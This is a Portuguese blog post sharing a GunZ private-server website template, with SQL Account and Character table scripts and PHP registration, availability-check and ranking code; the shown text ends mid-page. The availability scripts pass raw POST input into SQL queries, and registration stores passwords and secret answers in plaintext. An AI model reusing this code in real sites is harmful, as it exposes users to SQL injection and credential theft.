B-2-0 WEB (Duality GunZ Website) - Criando Portais

sábado, 5 de março de 2011

B-2-0 WEB (Duality GunZ Website)

às 13:52 Postado por Banido.wg 1 comentários
New WebSite Dality Gunz

SS:

Resigzed ImageClick this bar to view the full image.


Download B-2-0 WEB

Aqui esta oque vc deve arrumar, e trocar!

Lembrando galera que vc deve trocar o GunzVG por GunzDB ou qual seja o nome da sua DB se nao vai dar ERRO! (NA HORA DE INJECTAR A QUERY)

Arrumando pagina de Registro:

Código:
USE [GunzVG]
GO
/****** Object:  Table [dbo].[Account]    Script Date: 08/12/2010 05:05:30 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
CREATE TABLE [dbo].[Account](
 [AID] [int] IDENTITY(1,1) NOT NULL,
 [UserID] [varchar](20) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL,
 [UGradeID] [int] NOT NULL,
 [PGradeID] [int] NOT NULL,
 [RegDate] [datetime] NOT NULL,
 [Name] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL,
 [Email] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [RegNum] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [Age] [smallint] NULL,
 [Sex] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [ZipCode] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [Address] [varchar](256) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [Country] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [LastCID] [int] NULL,
 [Cert] [tinyint] NULL,
 [HackingType] [tinyint] NULL,
 [HackingRegTime] [smalldatetime] NULL,
 [EndHackingBlockTime] [smalldatetime] NULL,
 [LastLoginTime] [smalldatetime] NULL,
 [ServerID] [tinyint] NULL,
 [LastLogoutTime] [smalldatetime] NULL,
 [DonateCoins] [int] NOT NULL CONSTRAINT [DF_Account_DonateCoins]  DEFAULT ((0)),
 [sa] [varchar](max) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [sq] [varchar](max) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [ca***ha_code] [varchar](max) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 CONSTRAINT [Account_PK] PRIMARY KEY CLUSTERED 
(
 [AID] ASC
)WITH (PAD_INDEX  = OFF, IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

GO
SET ANSI_PADDING OFF
mod_register.php
Código:
<?php 
session_start(); 
?>
<script language="javascript">
$(document).ready(function()
{
 $("#username").blur(function()
 {
  //remove all the class add the messagebox classes and start fading
  $("#msgbox").removeClass().addClass('messagebox').text('Checking...').fadeIn("slow");
  //check the username exists or not from ajax
  $.post("user_availability.php",{ user_name:$(this).val() } ,function(data)
        {
    if(data=='no') //if username not avaiable
    {
     $("#msgbox").fadeTo(200,0.1,function() //start fading the messagebox
   { 
     //add message and change the class of the box and start fading
     $(this).html('Username is Invalid or in Use.').addClass('messageboxerror').fadeTo(900,1);
   });  
          }
    else
    {
     $("#msgbox").fadeTo(200,0.1,function()  //start fading the messagebox
   { 
     //add message and change the class of the box and start fading
     $(this).html('Username Available').addClass('messageboxok').fadeTo(900,1); 
   });
    }
    
        });
 
 });
//Validate E-Mail
 $("#email").blur(function()
 {
  //remove all the class add the messagebox classes and start fading
  $("#msgbox2").removeClass().addClass('messagebox').text('Checking...').fadeIn("slow");
  //check the email exists or not from ajax
  $.post("email_availability.php",{ email:$(this).val() } ,function(data)
        {
    if(data=='no') //if email not avaiable
    {
     $("#msgbox2").fadeTo(200,0.1,function() //start fading the messagebox
   { 
     //add message and change the class of the box and start fading
     $(this).html('E-mail ID is Invalid or in Use.').addClass('messageboxerror').fadeTo(900,1);
   });  
          }
    else
    {
     $("#msgbox2").fadeTo(200,0.1,function()  //start fading the messagebox
   { 
     //add message and change the class of the box and start fading
     $(this).html('E-mail entered is valid.').addClass('messageboxok').fadeTo(900,1); 
   });
    }
    
        });
 
 });
});
</script>
<style type="text/css">
body {
font-family:Verdana, Arial, Helvetica, sans-serif;
font-size:11px;
}
.top {
margin-bottom: 15px;
}
.messagebox{
 position:absolute;
 width:100px;
 border:1px solid #4C787E;
 background:#4C4646;
 padding:3px;
}
.messageboxok{
 position:absolute;
 width:auto;
 border:1px solid #349534;
 background:#C9FFCA;
 padding:3px;
 font-weight:bold;
 color:#008000;
 
}
.messageboxerror{
 position:absolute;
 width:auto;
 border:1px solid #CC0000;
 background:#F7CBCA;
 padding:3px;
 font-weight:bold;
 color:#CC0000;
}

</style>
<?
if(!$_SESSION['AID'] == ""){
    msgbox("You already have an account.","index.php");
}

$errorcode = "";
$er = 0;
$registered = 0;
if (isset($_POST['submit'])){
    $user = antisql($_POST['userid']);
    $email = antisql($_POST['email']);
    $pw1 = antisql($_POST['pw1']);
    $pw2 = antisql($_POST['pw2']);
    $country = antisql($_POST['country']);
    $sq = antisql($_POST['sq']);
    $sa = antisql($_POST['sa']);
    $ca***ha_code = antisql($_POST['ca***ha_code']);
    $name = antisql($_POST['name']);
    $zip = antisql($_POST['zip']);
    $age = antisql($_POST['age']);
    $sex = antisql($_POST['sex']);
    $address = antisql($_POST['address']);
$validate = validateEmail($email);
$validateun = validate_username($user);
        if($user == "" || $validateun<0){
    msgbox ("Enter a Valid Username.","index.php?do=register","index.php?do=register");
            $er = 1;
        }

        if($email == "" || $validate<0){
    msgbox ("Enter a Valid E-Mail ID.","index.php?do=register","index.php?do=register");
            $er = 1;
        }

        if($pw1 == "" Or $pw2 == ""){
    msgbox ("Please fill both password fields.","index.php?do=register");
            $er = 1;
        }

        if(strlen($pw1) < 6){
    msgbox ("Choose a password with al least 6 characters.","index.php?do=register");
            $er =1;
        }

        if($sq == ""){
    msgbox ("Enter a secret question.","index.php?do=register");
            $er =1;
        }

        if($sa == ""){
    msgbox ("Enter a secret answer.","index.php?do=register");
            $er = 1;
        }

        $res = mssql_query("SELECT * FROM Account WHERE email = '".$email."'");
        if (mssql_num_rows($res) >= 1){
    msgbox ("Email in use.","index.php?do=register");
            $er = 1;
        }

        $res = mssql_query("SELECT * FROM Login WHERE UserID = '".$user."'");
        if (mssql_num_rows($res) >= 1){
    msgbox ("UserID in use.","index.php?do=register");
            $er = 1;
        }

        if($pw1 == $pw2){
            $lol = "xDDD";
        }else{
    msgbox ("Passwords Missmatch","index.php?do=register");
            $er = 1;
        }


$securimage = new Securimage();

if ($securimage->check($_POST['ca***ha_code']) == false) {
  // the code was incorrect
  // handle the error accordingly with your other error checking

  // or you can do something really basic like this
  die('The code you entered was incorrect.  Go back and try again.');
}
        if($er == 0){
            $registered = 1;
            mssql_query("INSERT INTO Account (UserID, Cert, Name, Email, Age, Sex, UGradeID, PGradeID, RegDate, Country, sa, sq , ca***ha_code)Values ('$user', NULL, '$name','$email','$age', '$sex', 0, 0, GETDATE(),'$country', '$sa', '$sq', '$ca***ha_code')");
     $res = mssql_query("SELECT * FROM Account WHERE UserID = '$user'");
     $usr = mssql_fetch_assoc($res);
     $aid = $usr['AID'];
            mssql_query("INSERT INTO Login ([UserID],[AID],[Password],[euCoins])VALUES('$user','$aid','$pw1',100)");
        }else{
            $errorbox = ErrorBox($errorcode);
        }
}



if ($registered == 0){
?>

<form name="reg" method="POST" action="index.php?do=register"><body bgcolor="#323232">

     <div align="center">
      <table border="0" width="456" style="border-collapse: collapse">
       <tr>
        <td background="images/cont_up.jpg">&nbsp;</td>
       </tr>
       <tr>
        <td background="images/cont_bg.jpg">

        <div align="center">
         <table border="0" style="border-collapse: collapse" width="454" height="100%">
          <tr>
           <td width="4" rowspan="36">&nbsp;</td>
           <td width="436" colspan="2">
           <img border="0" src="images/inf/createaccount.jpg" width="413" height="18"></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>

           <td width="145">&nbsp;
           </td>
           <td width="289">&nbsp;
           </td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;
           </td>

           <td width="289">
           <font size="1" color="#4D4D4D">The fields marked with an * are required</font></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;
           </td>
           <td width="289">&nbsp;

           </td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145" valign="middle">
           ·<span lang="es">
           User ID<font color="#FF9933">*</font></span></td>

           <td width="289">
           <input type="text" name="userid" id="username" size="20"></td>
           <td width="8">&nbsp;</td>

          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289"><span id="msgbox" style="display:none"></span>&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">
           ·<span lang="es">
           E-Mail<font color="#FF9933">*</font></span></td>
           <td width="289">
           <input type="text" name="email" id="email" size="20"></td>
           <td width="8">&nbsp;</td>

          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289"><span id="msgbox2" style="display:none"></span>&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">
           ·<span lang="es">

           Password<font color="#FF9933">*</font></span></td>
           <td width="289">
           <input type="password" name="pw1" size="20"></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">

           <font color="#4D4D4D">
           <span style="font-size: 7pt">Minimum 6 characters in length</span></font></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">
           ·<span lang="es">
           Repeat password<font color="#FF9933">*</font></span></td>

           <td width="289">
           <input type="password" name="pw2" size="20"></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>

          <tr>
           <td width="145" valign="middle">
           ·<span lang="es">
           Country<font color="#FF9933">*</font></span></td>
           <td width="289">
           <select id="dropDownCountrySelector" name="country" class onChange="refreshCountry(this, false);">
           <option value="IN" selected="selected">

           India</option>
           <option value="AL">Albania</option>
           <option value="DZ">Algeria</option>
           <option value="AD">Andorra</option>
           <option value="AO">Angola</option>
           <option value="AI">Anguilla</option>

           <option value="AG">Antigua and
           Barbuda</option>
           <option value="AR">Argentina
           </option>
           <option value="AM">Armenia</option>
           <option value="AW">Aruba</option>
           <option value="AU">Australia
           </option>
           <option value="AT">Austria</option>

           <option value="AZ">Azerbaijan
           Republic</option>
           <option value="BS">Bahamas</option>
           <option value="BH">Bahrain</option>
           <option value="BB">Barbados</option>
           <option value="BE">Belgium</option>
           <option value="BZ">Belize</option>

           <option value="BJ">Benin</option>
           <option value="BM">Bermuda</option>
           <option value="BT">Bhutan</option>
           <option value="BO">Bolivia</option>
           <option value="BA">Bosnia and
           Herzegovina</option>
           <option value="BW">Botswana</option>

           <option value="BR">Brazil</option>
           <option value="VG">British Virgin
           Islands</option>
           <option value="BN">Brunei</option>
           <option value="BG">Bulgaria</option>
           <option value="BF">Burkina Faso
           </option>
           <option value="BI">Burundi</option>

           <option value="KH">Cambodia</option>
           <option value="CA">Canada</option>
           <option value="CV">Cape Verde
           </option>
           <option value="KY">Cayman Islands
           </option>
           <option value="TD">Chad</option>
           <option value="CL">Chile</option>

           <option value="C2">China Worldwide
           </option>
           <option value="CO">Colombia</option>
           <option value="KM">Comoros</option>
           <option value="CK">Cook Islands
           </option>
           <option value="CR">Costa Rica
           </option>
           <option value="HR">Croatia</option>

           <option value="CY">Cyprus</option>
           <option value="CZ">Czech Republic
           </option>
           <option value="CD">Democratic
           Republic of the Congo</option>
           <option value="DK">Denmark</option>
           <option value="DJ">Djibouti</option>
           <option value="DM">Dominica</option>

           <option value="DO">Dominican
           Republic</option>
           <option value="EC">Ecuador</option>
           <option value="SV">El Salvador
           </option>
           <option value="ER">Eritrea</option>
           <option value="EE">Estonia</option>
           <option value="ET">Ethiopia</option>

           <option value="FK">Falkland Islands
           </option>
           <option value="FO">Faroe Islands
           </option>
           <option value="FM">Federated States
           of Micronesia</option>
           <option value="FJ">Fiji</option>
           <option value="FI">Finland</option>
           <option value="FR">France</option>

           <option value="GF">French Guiana
           </option>
           <option value="PF">French Polynesia
           </option>
           <option value="GA">Gabon Republic
           </option>
           <option value="GM">Gambia</option>
           <option value="DE">Germany</option>
           <option value="GI">Gibraltar
           </option>

           <option value="GR">Greece</option>
           <option value="GL">Greenland
           </option>
           <option value="GD">Grenada</option>
           <option value="GP">Guadeloupe
           </option>
           <option value="GT">Guatemala
           </option>
           <option value="GN">Guinea</option>

           <option value="GW">Guinea Bissau
           </option>
           <option value="GY">Guyana</option>
           <option value="HN">Honduras</option>
           <option value="HK">Hong Kong
           </option>
           <option value="HU">Hungary</option>
           <option value="IS">Iceland</option>

           <option value="IN">India</option>
           <option value="ID">Indonesia
           </option>
           <option value="IE">Ireland</option>
           <option value="IL">Israel</option>
           <option value="IT">Italy</option>
           <option value="JM">Jamaica</option>

           <option value="JP">Japan</option>
           <option value="JO">Jordan</option>
           <option value="KZ">Kazakhstan
           </option>
           <option value="KE">Kenya</option>
           <option value="KI">Kiribati</option>
           <option value="KW">Kuwait</option>

           <option value="KG">Kyrgyzstan
           </option>
           <option value="LA">Laos</option>
           <option value="LV">Latvia</option>
           <option value="LS">Lesotho</option>
           <option value="LI">Liechtenstein
           </option>
           <option value="LT">Lithuania
           </option>

           <option value="LU">Luxembourg
           </option>
           <option value="MG">Madagascar
           </option>
           <option value="MW">Malawi</option>
           <option value="MY">Malaysia</option>
           <option value="MV">Maldives</option>
           <option value="ML">Mali</option>

           <option value="MT">Malta</option>
           <option value="MH">Marshall Islands
           </option>
           <option value="MQ">Martinique
           </option>
           <option value="MR">Mauritania
           </option>
           <option value="MU">Mauritius
           </option>
           <option value="YT">Mayotte</option>

           <option value="MX">Mexico</option>
           <option value="MN">Mongolia</option>
           <option value="MS">Montserrat
           </option>
           <option value="MA">Morocco</option>
           <option value="MZ">Mozambique
           </option>
           <option value="NA">Namibia</option>

           <option value="NR">Nauru</option>
           <option value="NP">Nepal</option>
           <option value="NL">Netherlands
           </option>
           <option value="AN">Netherlands
           Antilles</option>
           <option value="NC">New Caledonia
           </option>
           <option value="NZ">New Zealand
           </option>

           <option value="NI">Nicaragua
           </option>
           <option value="NE">Niger</option>
           <option value="NU">Niue</option>
           <option value="NF">Norfolk Island
           </option>
           <option value="NO">Norway</option>
           <option value="OM">Oman</option>

           <option value="PW">Palau</option>
           <option value="PA">Panama</option>
           <option value="PG">Papua New Guinea
           </option>
           <option value="PE">Peru</option>
           <option value="PH">Philippines
           </option>
           <option value="PN">Pitcairn Islands
           </option>

           <option value="PL">Poland</option>
           <option value="PT">Portugal</option>
           <option value="QA">Qatar</option>
           <option value="CG">Republic of the
           Congo</option>
           <option value="RE">Reunion</option>
           <option value="RO">Romania</option>

           <option value="RU">Russia</option>
           <option value="RW">Rwanda</option>
           <option value="VC">Saint Vincent and
           the Grenadines</option>
           <option value="WS">Samoa</option>
           <option value="SM">San Marino
           </option>
           <option value="ST">São Tomé and
           Príncipe</option>

           <option value="SA">Saudi Arabia
           </option>
           <option value="SN">Senegal</option>
           <option value="SC">Seychelles
           </option>
           <option value="SL">Sierra Leone
           </option>
           <option value="SG">Singapore
           </option>
           <option value="SK">Slovakia</option>

           <option value="SI">Slovenia</option>
           <option value="SB">Solomon Islands
           </option>
           <option value="SO">Somalia</option>
           <option value="ZA">South Africa
           </option>
           <option value="KR">South Korea
           </option>
           <option value="ES">Spain</option>

           <option value="LK">Sri Lanka
           </option>
           <option value="SH">St. Helena
           </option>
           <option value="KN">St. Kitts and
           Nevis</option>
           <option value="LC">St. Lucia
           </option>
           <option value="PM">St. Pierre and
           Miquelon</option>
           <option value="SR">Suriname</option>

           <option value="SJ">Svalbard and Jan
           Mayen Islands</option>
           <option value="SZ">Swaziland
           </option>
           <option value="SE">Sweden</option>
           <option value="CH">Switzerland
           </option>
           <option value="TW">Taiwan</option>
           <option value="TJ">Tajikistan
           </option>

           <option value="TZ">Tanzania</option>
           <option value="TH">Thailand</option>
           <option value="TG">Togo</option>
           <option value="TO">Tonga</option>
           <option value="TT">Trinidad and
           Tobago</option>
           <option value="TN">Tunisia</option>

           <option value="TR">Turkey</option>
           <option value="TM">Turkmenistan
           </option>
           <option value="TC">Turks and Caicos
           Islands</option>
           <option value="TV">Tuvalu</option>
           <option value="UG">Uganda</option>
           <option value="UA">Ukraine</option>

           <option value="AE">United Arab
           Emirates</option>
           <option value="GB">United Kingdom
           </option>
           <option value="UY">Uruguay</option>
           <option value="US">United States</option>
           <option value="VU">Vanuatu</option>
           <option value="VA">Vatican City
           State</option>
           <option value="VE">Venezuela
           </option>

           <option value="VN">Vietnam</option>
           <option value="WF">Wallis and Futuna
           Islands</option>
           <option value="YE">Yemen</option>
           <option value="ZM">Zambia</option>
           </select></td>
           <td width="8">&nbsp;</td>
          </tr>

          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="434" colspan="2">
           <hr color="#323232" width="96%"></td>
           <td width="8">&nbsp;</td>

          </tr>
          <tr>
           <td width="145">·<span lang="es">
           Name</span></td>
           <td width="289">
           <input type="text" name="name" size="20"></td>
           <td width="8">&nbsp;</td>
          </tr>

          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">·<span lang="es"> 
           Age</span></td>

           <td width="289">
           <select size="1" name="age">
           <option value='1'>1</option>
<option value='2'>2</option>
<option value='3'>3</option>
<option value='4'>4</option>
<option value='5'>5</option>
<option value='6'>6</option>

<option value='7'>7</option>
<option value='8'>8</option>
<option value='9'>9</option>

<option value='10'>10</option>
<option value='11'>11</option>
<option value='12'>12</option>
<option value='13'>13</option>
<option value='14'>14</option>

<option value='15'>15</option>
<option value='16'>16</option>
<option value='17'>17</option>
<option value='18'>18</option>

<option value='19'>19</option>
<option value='20'>20</option>
<option value='21'>21</option>
<option value='22'>22</option>

<option value='23'>23</option>
<option value='24'>24</option>
<option value='25'>25</option>
<option value='26'>26</option>
<option value='27'>27</option>

<option value='28'>28</option>
<option value='29'>29</option>
<option value='30'>30</option>

<option value='31'>31</option>
<option value='32'>32</option>
<option value='33'>33</option>
<option value='34'>34</option>
<option value='35'>35</option>
<option value='36'>36</option>

<option value='37'>37</option>
<option value='38'>38</option>

<option value='39'>39</option>
<option value='40'>40</option>
<option value='41'>41</option>
<option value='42'>42</option>
<option value='43'>43</option>
<option value='44'>44</option>
<option value='45'>45</option>

<option value='46'>46</option>

<option value='47'>47</option>
<option value='48'>48</option>
<option value='49'>49</option>
<option value='50'>50</option>
<option value='51'>51</option>
<option value='52'>52</option>
<option value='53'>53</option>
<option value='54'>54</option>

<option value='55'>55</option>
<option value='56'>56</option>
<option value='57'>57</option>
<option value='58'>58</option>
<option value='59'>59</option>
<option value='60'>60</option>
<option value='61'>61</option>
<option value='62'>62</option>
<option value='63'>63</option>

<option value='64'>64</option>
<option value='65'>65</option>
<option value='66'>66</option>
<option value='67'>67</option>
<option value='68'>68</option>
<option value='69'>69</option>
<option value='70'>70</option>
<option value='71'>71</option>

<option value='72'>72</option>

<option value='73'>73</option>
<option value='74'>74</option>
<option value='75'>75</option>
<option value='76'>76</option>
<option value='77'>77</option>
<option value='78'>78</option>
<option value='79'>79</option>

<option value='80'>80</option>
<option value='81'>81</option>

<option value='82'>82</option>
<option value='83'>83</option>
<option value='84'>84</option>
<option value='85'>85</option>
<option value='86'>86</option>
<option value='87'>87</option>

<option value='88'>88</option>
<option value='89'>89</option>
<option value='90'>90</option>

<option value='91'>91</option>
<option value='92'>92</option>
<option value='93'>93</option>
<option value='94'>94</option>
<option value='95'>95</option>

<option value='96'>96</option>
<option value='97'>97</option>
<option value='98'>98</option>
<option value='99'>99</option>

<option value='100'>100</option>
           </select></td>
           <td width="8">&nbsp;</td>
          </tr>

          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">·<span lang="es">
           Sex</span></td>

           <td width="289">
           <select size="1" name="sex">
           <option selected value="Male">Male
           </option>
           <option value="Female">Female
           </option>
           </select></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>

           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">·<span lang="es">
           </span>ZIP Code / CP</td>
           <td width="289">

           <input type="text" name="zip" size="20"></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>

           <td width="145">·<span lang="es">
           Address</span></td>
           <td width="289">
           <input type="text" name="address" size="20"></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>

           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="436" colspan="2">
           <hr color="#323232" width="96%"></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>

           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>

          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">
           <font color="#FF0000">
           <span style="font-size: 7pt">This Details are IMPORTANT to Change Your Password <br /><br />WARNING..!!<br />DO NOT let others  know this details</span></font></td>
           <td width="8">&nbsp;</td>

          </tr>
          <tr>
           <td width="145">· Secret Question<font color="#FF9933">*</font></td>
           <td width="289">
           <input type="text" name="sq" size="34"></td>

           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">· Security Answer<font color="#FF9933">*</font></td>

           <td width="289">
           <input type="text" name="sa" size="34"></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>

           <tr>
           <td width="145">· Secret Code<font color="#FF9933">*</font></td>
           <td width="289">
           <input type="text" name="ca***ha_code" size="10" maxlength="6" /></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">
           <img id="ca***ha" src="includes/ca***ha/securimage_show.php" alt="CA***HA Image" /></td>
           <td width="8">&nbsp;</td>

          </tr>
          <tr>
           <td width="145">&nbsp;</td>
           <td width="289">&nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="434" colspan="2">
           <hr color="#323232" width="96%"></td>
           <td width="8">&nbsp;</td>
          </tr>
 
          <tr>
           <td width="434" colspan="2">
           <center>
           <td><input type="submit" value="Register" name="submit"></center></td>

           <td width="8">&nbsp;</td>
          </tr>
         </table>
        </div>
        </td>
       </tr>
       <tr>
        <td background="images/cont_top.jpg" height="27">&nbsp;</td>
       </tr>

      </table>
     </div></form>

<?
}else{
?>
<head>
<meta http-equiv="Content-Language" content="es">
</head>

<form name="reg" method="POST" action="index.php?do=register"><body bgcolor="#323232">

     <div align="center">
      <table border="0" width="456" style="border-collapse: collapse">
       <tr>
        <td background="images/cont_up.jpg">&nbsp;</td>
       </tr>
       <tr>
        <td background="images/cont_bg.jpg">
        <div align="center">
         <table border="0" style="border-collapse: collapse" width="454" height="100%">
          <tr>
           <td width="4" rowspan="8">&nbsp;</td>
           <td width="436" colspan="2">
           <img border="0" src="images/inf/createaccount.jpg" width="413" height="18"></td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="434" colspan="2">
           &nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="25" valign="middle">
           &nbsp;</td>
           <td width="409" valign="middle">
           The Account '<b><?=$user?></b>' has been created successfully.</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="25">&nbsp;</td>
           <td width="409">To edit your profile, login and click Profile 
           &quot;Edit my account&quot;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="434" colspan="2">
           &nbsp;</td>
           <td width="8">&nbsp;</td>
          </tr>
          <tr>
           <td width="434" height="24" colspan="2">
           <center>
           &nbsp;</center></td>
           <td width="8" height="24">&nbsp;</td>
          </tr>
         </table>
        </div>
        </td>
       </tr>
       <tr>
        <td background="images/cont_top.jpg" height="27">&nbsp;</td>
       </tr>
      </table>
     </div></form>
<?
}
?>
     <td width="206" valign="top">
     <p><? include "modules/mod_iLogin.php" ?></p>
     <p>&nbsp;</p>
     <p>&nbsp;</td>
     <td width="12">&nbsp;</td>
email_availability.php
Código:
<?php
include "includes/config.php";
include "includes/functions.php";
?>
<?php

$email=$_POST['email'];
$validated=validateemail($email);

$existing_users = mssql_query("SELECT * FROM Account WHERE email='$email'");  
$numrows = mssql_num_rows($existing_users);

if($numrows>0 || $validated<0)  
{
 //user name is not availble
 echo "no";
} 
else
{
 //user name is available
 echo "yes";
}
?>
user_availability.php
Código:
<?php
include "includes/config.php";
include "includes/functions.php";
?>
<?php

$user_name=$_POST['user_name'];
$vusername=validate_username($user_name);

$existing_users = mssql_query("SELECT * FROM Account WHERE UserID='$user_name'");  
$numrows = mssql_num_rows($existing_users);

if($numrows>0 || $vusername<0)  
{
 //user name is not availble
 echo "no";
} 
else
{
 //user name is available
 echo "yes";
}
?>
Ranking page :
QUERY
Código:
USE [GunzVG]
GO
/****** Object:  Table [dbo].[Character]    Script Date: 08/12/2010 05:10:13 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
CREATE TABLE [dbo].[Character](
 [CID] [int] IDENTITY(1,1) NOT NULL,
 [AID] [int] NOT NULL,
 [Name] [varchar](24) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL,
 [Level] [smallint] NOT NULL,
 [Sex] [tinyint] NOT NULL,
 [CharNum] [smallint] NOT NULL,
 [Hair] [tinyint] NULL,
 [Face] [tinyint] NULL,
 [XP] [int] NOT NULL,
 [BP] [int] NOT NULL,
 [HP] [smallint] NULL,
 [AP] [smallint] NULL,
 [FR] [int] NULL,
 [CR] [int] NULL,
 [ER] [int] NULL,
 [WR] [int] NULL,
 [head_slot] [int] NULL,
 [chest_slot] [int] NULL,
 [hands_slot] [int] NULL,
 [legs_slot] [int] NULL,
 [feet_slot] [int] NULL,
 [fingerl_slot] [int] NULL,
 [fingerr_slot] [int] NULL,
 [melee_slot] [int] NULL,
 [primary_slot] [int] NULL,
 [secondary_slot] [int] NULL,
 [custom1_slot] [int] NULL,
 [custom2_slot] [int] NULL,
 [RegDate] [datetime] NULL,
 [LastTime] [datetime] NULL,
 [PlayTime] [int] NULL,
 [GameCount] [int] NULL,
 [KillCount] [int] NULL,
 [DeathCount] [int] NULL,
 [DeleteFlag] [tinyint] NULL,
 [DeleteName] [varchar](24) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 [head_itemid] [int] NULL,
 [chest_itemid] [int] NULL,
 [hands_itemid] [int] NULL,
 [legs_itemid] [int] NULL,
 [feet_itemid] [int] NULL,
 [fingerl_itemid] [int] NULL,
 [fingerr_itemid] [int] NULL,
 [melee_itemid] [int] NULL,
 [primary_itemid] [int] NULL,
 [secondary_itemid] [int] NULL,
 [custom1_itemid] [int] NULL,
 [custom2_itemid] [int] NULL,
 [QuestItemInfo] [binary](292) NULL,
 CONSTRAINT [Character_PK] PRIMARY KEY CLUSTERED 
(
 [CID] ASC
)WITH (PAD_INDEX  = OFF, IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

GO
SET ANSI_PADDING OFF
mod_individualrank.php
Código:
<?

?><head>
<meta http-equiv="Content-Language" content="es">
</head>


<table border="0" style="border-collapse: collapse" width="678">
<tr>
<td width="599" valign="top">
<div align="center">
<table border="0" style="background-position: center top; border-collapse: collapse; background-image:url('images/content_bg.jpg'); background-repeat:repeat-y" width="603">
<tr>
<td style="background-image: url('images/content_title_ranking2.jpg'); background-repeat: no-repeat; background-position: center top" height="25" width="601" colspan="3">&nbsp;</td>
</tr>
<tr>
<td style="background-repeat: repeat; background-position: center top" width="7" rowspan="6">&nbsp;<p>&nbsp;</p>
<p>&nbsp;</td>
<td style="background-repeat: repeat; background-position: center top" width="583" valign="top">
<form method="GET" name="indsearch" action="index.php">
<input type="hidden" name="do" value="individualrank" />
<p align="center">
<select name="type">
<option value="1">Character Name</option>
<option value="2">Account Name</option>
</select>
&nbsp;
<input type="text" name="name" />
<input type="submit" value="Search" />
</p>
</form>
</td>
<td style="background-repeat: repeat; background-position: center top" width="7" rowspan="6">&nbsp;</td>
</tr>
<tr>
<td style="background-repeat: repeat; background-position: center top" width="583" valign="top">&nbsp;
</td>
</tr>
<tr>
<td style="background-repeat: no-repeat; background-position: center top" width="583" valign="top">
<div align="center">
<table border="0" style="border-collapse: collapse; background-image: url('images/content_ranking_data_bg.jpg'); background-repeat: no-repeat; background-position: center top" width="573">
<tr>
<td width="14" height="21">&nbsp;</td>
<td width="60" height="21" valign="bottom" align="center">
<div align="center">
<font face="Tahoma"><b>
Ranking</b></font></td>
<td width="132" height="21" valign="bottom" align="center">
<font face="Tahoma"><b>Character Name</b></font></td>
<td width="43" height="21" valign="bottom" align="center">
